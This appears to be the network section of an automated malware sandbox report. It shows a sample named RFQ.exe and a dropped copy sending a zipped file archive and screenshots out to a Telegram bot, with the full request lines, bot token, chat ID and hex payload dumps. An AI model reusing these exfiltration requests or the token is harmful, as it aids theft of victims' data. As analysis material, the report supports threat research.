Mar 11, 2025 15:33:19.748281002 CET	1236	IN	Data Raw: 32 46 74 59 6d 56 79 58 7a 49 30 5a 48 41 75 63 47 35 6e 22 29 2c 61 62 3d 70 2e 61 74 6f 62 28 22 57 57 39 31 49 47 46 79 5a 53 42 7a 5a 57 56 70 62 6d 63 67 64 47 68 70 63 79 42 74 5a 58 4e 7a 59 57 64 6c 49 47 4a 6c 59 32 46 31 63 32 55 67 59 Data Ascii: 2FtYmVyXzI0ZHAucG5n"),ab=p.atob("WW91IGFyZSBzZWVpbmcgdGhpcyBtZXNzYWdlIGJlY2F1c2UgYWQgb3Igc2NyaXB0IGJsb2NraW5nIHNvZnR3YXJlIGlzIGludGVyZmVyaW5nIHdpdGggdGhpcyBwYWdlLg=="),bb=p.atob("RGlzYWJsZSBhbnkgYWQgb3Igc2NyaXB0IGJsb2NraW5nIHNvZnR3YXJlLCB0aGVu
Mar 11, 2025 15:33:19.752839088 CET	1236	IN	Data Raw: 2c 22 49 4d 47 22 29 3b 64 2e 63 6c 61 73 73 4e 61 6d 65 3d 55 61 28 29 3b 64 2e 73 72 63 3d 24 61 3b 64 2e 61 6c 74 3d 22 57 61 72 6e 69 6e 67 20 69 63 6f 6e 22 3b 64 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 32 34 70 78 22 3b 64 2e 73 74 79 Data Ascii: ,"IMG");d.className=Ua();d.src=$a;d.alt="Warning icon";d.style.height="24px";d.style.width="24px";d.style["padding-right"]="16px";var e=X(a),f=X(a);f.style["font-weight"]="bold";f.textContent=ab;var g=X(a);g.textContent=bb;Y(a,e,f);Y(a,e,g);Y(

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Mar 11, 2025 15:35:13.472455025 CET	149.154.167.220	443	192.168.2.7	49720	CN=api.telegram.org CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Sun Mar 24 14:08:48 CET 2024 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004	Fri Apr 25 15:08:48 CEST 2025 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	37f463bf4616ecd445d4a1937da06e19
					CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Jun 29 19:06:20 CEST 2004	Thu Jun 29 19:06:20 CEST 2034

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49683	149.154.167.220	443	2724	C:\Users\user\Desktop\RFQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:33:23 UTC	563	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-FG:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 13923 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:33:23 UTC	13923	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 46 69 6c 65 73 2e 7a 69 70 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 50 4b 03 04 14 00 00 00 08 00 18 4c 67 5a 19 a3 19 73 86 02 00 00 02 04 00 00 15 00 00 00 46 69 6c 65 73 2f 42 4a 5a 46 50 50 57 41 50 54 2e 64 6f 63 78 15 93 49 8e 40 21 08 44 f7 9d f4 a1 10 bf 38 82 f3 74 ff 83 b4 bd 23 91 40 d5 b3 50 fe 9a 9c 17 e4 7e 5d a3 c1 ba e9 fd 41 37 38 36 d0 67 b0 f7 1b 14 9b Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="Files.zip"Content-Type: application/octet-streamPKLgZsFiles/BJZFPPWAPT.docxI@!D8t#@P~]A786g
2025-03-11 14:33:24 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:33:23 GMT Content-Type: application/json Content-Length: 550 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-11 14:33:24 UTC	550	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 31 34 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 35 30 33 30 32 39 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 73 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 37 33 32 34 35 36 36 36 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4f 62 61 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 62 64 6f 6e 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 37 30 33 36 30 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 46 69 6c Data Ascii: {"ok":true,"result":{"message_id":28145,"from":{"id":7725030292,"is_bot":true,"first_name":"obilogs","username":"obilogssbot"},"chat":{"id":6732456666,"first_name":"Oba1","username":"Obdon1","type":"private"},"date":1741703603,"document":{"file_name":"Fil

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49689	149.154.167.220	443	2724	C:\Users\user\Desktop\RFQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:33:37 UTC	565	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:33:37 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 63 68 50 75 4a 44 61 50 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotchPuJDaP.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2025-03-11 14:33:37 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:33:37 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:33:37 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2025-03-11 14:33:37 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:33:37 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:33:37 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:33:37 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2025-03-11 14:33:37 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:33:37 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:33:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:33:45 GMT Content-Type: application/json Content-Length: 559 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49690	149.154.167.220	443	7340	C:\Users\user\AppData\Roaming\wOPQRmK.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:33:38 UTC	565	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:33:38 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 68 44 76 61 77 77 4b 4c 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshothDvawwKL.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2025-03-11 14:33:38 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:33:38 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
